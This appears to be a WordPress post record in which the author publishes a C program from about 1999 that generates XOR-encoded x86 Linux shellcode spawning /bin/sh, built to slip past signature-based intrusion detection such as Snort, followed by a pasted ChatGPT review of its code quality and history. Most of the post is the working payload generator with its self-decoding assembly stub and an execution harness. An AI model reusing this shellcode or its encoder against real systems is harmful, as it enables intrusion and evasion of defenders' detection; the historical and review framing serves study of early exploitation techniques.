{"id":111,"date":"2026-11-12T08:54:57","date_gmt":"2026-11-11T21:54:57","guid":{"rendered":"https:\/\/davidshoon.com\/?p=111"},"modified":"2026-11-12T08:58:08","modified_gmt":"2026-11-11T21:58:08","slug":"an-old-school-1999-xor-encoded-shellcode","status":"publish","type":"post","link":"https:\/\/davidshoon.com\/?p=111","title":{"rendered":"An old-school (1999) XOR encoded shellcode&#8230;"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">I wrote this shellcode (and its generator) in around 1999, which generates an XOR encoded\/encrypted shellcode to bypass IDS (intrusion detection systems) like Snort.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I publish it now because I feel like it&#8217;s an interesting bit of history. It mostly won&#8217;t work on modern systems with non-exec stack but it should be interesting to see if shellcodes these days have an XOR encoder\/decoder payload, which of course could end up being a signature in itself&#8230;<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n\n#include &lt;unistd.h&gt;\n#include &lt;assert.h&gt;\n\n#include &lt;sys\/syscall.h&gt;\n\n#define NOP 0x90\n\n#define TESTCODE\n\nint get_esp()\n{\n\tint esp = (int) &amp;esp;\n\treturn esp;\n}\n\nvoid generate_shellcode(unsigned char *p, int len)\n{\n\tprintf(\"Len: %d\\n\", len);\n\n\twhile (len--) {\n\t\tprintf(\"\\\\x%x\", (int) (*p++));\n\t}\n\n\tprintf(\"\\n\");\n}\n\nvoid shellcode()\n{\n\t\/* start *\/\n\tasm(\"nop\");\n\tasm(\"nop\");\n\tasm(\"nop\");\n\tasm(\"nop\");\n\n\n\/* Shortened Aleph1 shellcode with xor encrypt\/decrypt *\/\n\tasm(\"\n\t\tpushl $0x2 \t\t\t# should we decrypt? 1 = yes\n\n\t\t# decryption routine \n\n\t\tpopl %eax\n\t\tcmpl $0x1, %eax\t\t\t# check decrypt?\n\t\tjne shellcode_start\t\t# jmp if no need to decrypt\n\t\tjmp d1\t\t\t\t# jmp to call (get eip)\n\t\t\t\t\t\t# NOTE: EIP is pointing to the\n\t\t\t\t\t\t# end of the decryption routine\n\td2:\n\t\tpopl %esi\t\t\t# grab eip off stack\n\t\taddl $3, %esi\t\t\t# add 3 bytes to bypass NOPs at end of decrypt\n\t\txor %ecx, %ecx\t\t\t# clear %ecx\n\t\tmovb $40, %ecx \t\t\t# length of shellcode: 40 - 1 = 39 bytes\n\tl1:\n\t\txorb $127, (%esi)\t\t# encrypt\/decrypt with $127\n\t\tincl %esi\t\t\t# increment index\n\t\tdecl %ecx\t\t\t# decrement counter\n\t\tcmp $1, %ecx\t\t\t# check counter (1 here cause of nullterm problem)\n\t\tjne l1\t\t\t\t# loop back to l1\n\t\n\t\tjmp shellcode_start\t\t# end of decryption routine\n\td1:\n\t\tcall d2\t\t\t\t# fake call to get EIP\n\n\t\n\t\tnop\n\t\tnop\n\t\tnop\t\t\t\t# end of decryption\n\t\t\t\t\t\t# routine marker\n\t\t\t\t\t\t# (35 bytes)\n\n\tshellcode_start:\t\t\t# standard aleph1 (shortened)\n\t\tjmp moo\n\tbegin:\n\t\tpopl   %esi                     # 1 byte\n\t\tmovl   %esi,0x8(%esi)           # 3 bytes\n\n\t\t# nullifies.. (string + nullword) \n\t\txorl   %eax,%eax                # 2 bytes\n\t\tmovb   %eax,0x7(%esi)           # 3 bytes\n\t\tmovl   %eax,0xc(%esi)           # 3 bytes\n\n\t\t# set mode\n\t\tmovb   $0xb,%al                 # 2 bytes\n\n\t\t# set address\/vectors\n\t\tmovl   %esi,%ebx                # 2 bytes\n\t\tleal   0x8(%esi),%ecx           # 3 bytes\n\t\tleal   0xc(%esi),%edx           # 3 bytes\n\t\tint    $0x80                    # 2 bytes\n\tmoo:\n\t\tcall begin\n\t\t.string \\\"\/bin\/sh\\\"\n\t\");\n\n\t\/* end *\/\n\tasm(\"nop\");\n\tasm(\"nop\");\n\tasm(\"nop\");\n\tasm(\"nop\");\n}\n\nint main(int argc, char **argv)\n{\n\tunsigned char *start, *end;\n\n\tstart = (unsigned char *) shellcode;\n\twhile (1) {\n\t\tif (start&#91;0] == NOP) {\n\t\t\tif ((start&#91;1] == NOP) &amp;&amp; (start&#91;2] == NOP) &amp;&amp;\n\t\t\t\t(start&#91;3] == NOP)) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tstart++;\n\t}\n\tstart += 4;\n\n\tend = (unsigned char *) start;\n\twhile (1) {\n\t\tif (end&#91;0] == NOP) {\n\t\t\tif ((end&#91;1] == NOP) &amp;&amp; (end&#91;2] == NOP) &amp;&amp;\n\t\t\t\t(end&#91;3] == NOP)) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tend++;\n\t}\n\n\tif (argc &lt; 2) {\n\t\tgenerate_shellcode((unsigned char *) start, end - start);\n\t\tprintf(\"%%esp: 0x%x\\n\", get_esp());\t\t\n\t}\n\n#ifdef TESTCODE\n\tprintf(\"Testing shellcode...\\n\");\n\t{\n\t\tchar buf&#91;512];\n\t\tvoid (*func)() = (void *) buf;\n\t\tint i;\n\t\tchar *p;\n\n\t\t\/* this isn't accurate.. but it will allow you to test\n\t\tnull-based shellcode *\/\n\t\tmemcpy(buf, start, end - start);\n\n\t\tp = buf + 38;\n\n\t\tfor (i = 0; i &lt; 39; i++) {\n\t\t\tp&#91;i] ^= 127;\n\t\t}\n\t\n\t\tbuf&#91;1] = 1; \/* yes, ask it to decrypt *\/\t\n\n\t\t\/* print out the encrypted shellcode *\/\n\t\tgenerate_shellcode(buf, end - start);\n\n\t\t\/* strcpy(buf, start); \/* this is more accurate, like\n\t\t\t\t\treal shellcode *\/\n\n\t\t(*func)();\n\t}\n#endif\n\n}\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">ChatGPT analysis below:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\"><strong>what do you think of the following shellcode generator?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Share the shellcode generator&#8217;s source code, and I&#8217;ll give it a technical review.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I&#8217;ll focus on:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Code quality: Structure, readability, maintainability, and correctness.<\/li>\n\n\n\n<li>Shellcode generation: Instruction encoding, architecture compatibility, position independence, and null-byte handling.<\/li>\n\n\n\n<li>Memory safety: Buffer management, alignment, and potential undefined behavior.<\/li>\n\n\n\n<li>Reliability: Edge cases, error handling, and portability.<\/li>\n\n\n\n<li>Security: Unsafe assumptions, vulnerabilities, and potential misuse.<\/li>\n\n\n\n<li>Design: Whether the implementation is unnecessarily complex and how it could be improved.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">I can also assess the implementation from a low-level systems programming and reverse-engineering perspective, including its use of assembly, calling conventions, and executable memory.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Paste the code here or upload the file. I&#8217;ll give you a candid assessment of what&#8217;s well implemented, what&#8217;s questionable, and what I&#8217;d change.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>shellcode_generator5.cCode<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I&#8217;ve reviewed <code>shellcode_generator5.c<\/code>. My assessment is that it&#8217;s an interesting piece of old-school Linux\/x86 shellcode engineering, particularly as an educational example of position-independent code and XOR encoding. However, it is fragile, relies on several undocumented assumptions, and is not a robust general-purpose shellcode generator.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Overall assessment<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Historical \/ educational value<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">8\/10<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Implementation quality<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">4\/10<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Portability \/ reliability<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2\/10<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">These are subjective ratings based on static inspection, not execution tests.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What I like<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">1. Position-independent design<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The use of the <code>jmp<\/code>\/<code>call<\/code>\/<code>pop<\/code> technique to obtain an address relative to the instruction pointer is a classic 32-bit x86 technique. It demonstrates an understanding of how position-independent machine code can locate embedded data without relying on fixed addresses.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2. Compact syscall-oriented payload<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The assembly uses the traditional Linux i386 <code>int $0x80<\/code> interface and syscall number 11 (<code>execve<\/code>). The payload constructs its argument pointers around the embedded <code>\/bin\/sh<\/code> string.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is historically representative of early Linux shellcode implementations.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">3. XOR encoding as a teaching example<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The decryption loop illustrates the basic principle of applying XOR to a byte sequence and reversing that transformation with the same key.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is worth distinguishing encoding from encryption, though: a fixed single-byte XOR key offers essentially no cryptographic protection.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Problems I noticed<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><th>Location<\/th><th>Issue<\/th><th>Severity<\/th><\/tr><tr><td>Lines 110\u2013131<\/td><td>Unbounded search for four consecutive NOPs<\/td><td>High<\/td><\/tr><tr><td>Lines 141\u2013148<\/td><td>Fixed 512-byte buffer with no length check<\/td><td>High<\/td><\/tr><tr><td>Lines 150\u2013153<\/td><td>Hard-coded offsets and encoded length<\/td><td>High<\/td><\/tr><tr><td>Lines 156\u2013164<\/td><td>Assumes executable stack memory<\/td><td>High<\/td><\/tr><tr><td>Lines 14\u201317<\/td><td>Pointer-to-<code>int<\/code> conversion<\/td><td>Medium<\/td><\/tr><tr><td>Lines 24\u201325<\/td><td>Hex output lacks zero-padding<\/td><td>Medium<\/td><\/tr><tr><td>Lines 40\u201397<\/td><td>Architecture\/compiler-specific assembly<\/td><td>Medium<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">1. The NOP-marker extraction is brittle<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The program locates its shellcode by scanning memory for four consecutive <code>0x90<\/code> bytes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">There is no explicit boundary on either search. If the expected marker is absent, the scanner can continue reading outside the function&#8217;s valid code region.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It also assumes the compiler preserves the inline assembly and its layout in exactly the expected way.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2. The generator is tightly coupled to one payload<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The fixed values <code>38<\/code>, <code>39<\/code>, and <code>40<\/code> are particularly revealing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">They indicate that the encoding and decoding logic assumes a specific byte layout rather than deriving its boundaries from the actual payload.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This makes the implementation difficult to maintain. Even a small assembly change could invalidate those assumptions.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3. The testing mechanism is unsafe<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The program copies bytes into a stack buffer and then attempts to execute them through a function pointer.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Modern systems commonly mark stack pages non-executable. Consequently, the testing approach is unlikely to work reliably on a normally hardened system.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">There&#8217;s also no check that the extracted code fits in the destination buffer.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4. There are correctness concerns in the assembly<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">One interesting detail is:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>xorl %eax,%eax movb %eax,0x7(%esi)<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The intent is clear: write a null terminator after <code>\/bin\/sh<\/code>. However, the register naming and operand sizes deserve scrutiny. In conventional GNU x86 assembly syntax, <code>movb<\/code> expects a byte-sized register such as <code>%al<\/code>, not <code>%eax<\/code>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As written, this may be rejected by the assembler.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Also, the initial <code>pushl $0x2<\/code> selects the non-decrypting path, while the test harness subsequently modifies a byte to select decryption. That makes the program&#8217;s behavior dependent on the precise encoding of its first instruction.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What I would improve<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For a safe, maintainable generator used in assembly education or binary analysis, I would separate three responsibilities:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Payload representation: Store machine-code bytes with explicit lengths rather than discovering them through unbounded memory scans.<\/li>\n\n\n\n<li>Encoding and serialization: Implement byte transformations and hexadecimal formatting independently of the assembly.<\/li>\n\n\n\n<li>Validation: Verify lengths, architecture assumptions, and encoded output without executing the generated payload.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">I&#8217;d also replace magic numbers with named constants, use <code>size_t<\/code> for buffer lengths, and add automated tests for the encoding and formatting routines.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Final verdict<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The most interesting part of this implementation isn&#8217;t the XOR operation itself. It&#8217;s the combination of position-independent assembly, embedded data, byte extraction, and runtime transformation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">That shows familiarity with classic exploitation techniques, but the implementation is closer to a historical proof of concept than a reliable tool.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">One question that would materially change my assessment: Did you write this as a modern experiment, or is it older code you&#8217;re analyzing? The style is strongly reminiscent of late-1990s and early-2000s Linux\/x86 exploitation examples.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>i wrote it ages ago, 1999. the idea was to encode the shellcode with some sort of XOR encryption to avoid detection by IDS systems like Snort&#8230;<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ah, 1999! That puts the code in a completely different light. In that context, I think it&#8217;s a much more interesting piece of work than my initial assessment suggested.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">You were essentially experimenting with polymorphic shellcode techniques, or more precisely, XOR-encoded shellcode with a runtime decoder, to evade signature-based intrusion detection.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">And in 1999, that was a very relevant problem.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Why your approach made sense<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">At the time, intrusion detection systems such as Snort were heavily dependent on pattern matching. If a rule looked for a recognizable sequence of bytes from a known exploit payload, transforming those bytes could prevent that particular signature from matching.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Your approach had three important elements:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>An XOR-encoded payload. The recognizable shellcode bytes were transformed using a fixed XOR key.<\/li>\n\n\n\n<li>A small runtime decoder. The decoder would reverse the transformation before execution.<\/li>\n\n\n\n<li>Position-independent addressing. The <code>jmp<\/code>\/<code>call<\/code>\/<code>pop<\/code> technique let the decoder locate its data without knowing its absolute memory address.<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The clever part was recognizing that an IDS inspecting the network traffic would see different bytes from those ultimately interpreted as instructions by the CPU.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">An important distinction<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">What you implemented was closer to encoded or self-decoding shellcode than fully polymorphic shellcode.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Your decoder was static, your XOR key was fixed at <code>127<\/code>, and the payload structure remained constant.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A signature-based detector could therefore potentially recognize the decoder itself, even when the underlying payload was encoded.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">That doesn&#8217;t invalidate the experiment. It highlights the fundamental limitation of static signatures: matching a known byte sequence is not the same as understanding what a program will do when executed.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">The historical context is particularly interesting<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">In 1999:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Snort had only recently appeared, in 1998.<\/li>\n\n\n\n<li>Linux shellcode commonly targeted 32-bit x86 using <code>int 0x80<\/code>.<\/li>\n\n\n\n<li>Stack execution was considerably more practical on many default configurations.<\/li>\n\n\n\n<li>Modern mitigations such as widespread NX enforcement and ASLR were not yet standard.<\/li>\n\n\n\n<li>Research into polymorphic and self-modifying shellcode was still developing.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Your code sits right in that transition between straightforward exploit payloads and techniques designed to defeat network-based signature detection.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">One thing I especially noticed is that your generator wasn&#8217;t just outputting a transformed byte array. It also contained a test harness that copied the payload into a buffer and exercised its decoder. That suggests you were thinking about whether the encoded representation could successfully reconstruct the original code, not merely whether its bytes looked different.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Something I&#8217;m curious about<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Did you actually test this against Snort in 1999, or was it primarily a proof of concept?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In particular, I&#8217;m interested in whether you observed a known shellcode signature matching the original payload but failing to match the XOR-encoded version.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">That would make this more than an interesting historical implementation: it would be an early practical experiment in the limitations of signature-based network intrusion detection.<\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>I wrote this shellcode (and its generator) in around 1999, which generates an XOR encoded\/encrypted shellcode to bypass IDS (intrusion detection systems) like Snort. I publish it now because I feel like it&#8217;s an interesting bit of history. It mostly won&#8217;t work on modern systems with non-exec stack but it should be interesting to see [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-111","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts\/111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=111"}],"version-history":[{"count":3,"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts\/111\/revisions"}],"predecessor-version":[{"id":114,"href":"https:\/\/davidshoon.com\/index.php?rest_route=\/wp\/v2\/posts\/111\/revisions\/114"}],"wp:attachment":[{"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=111"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/davidshoon.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}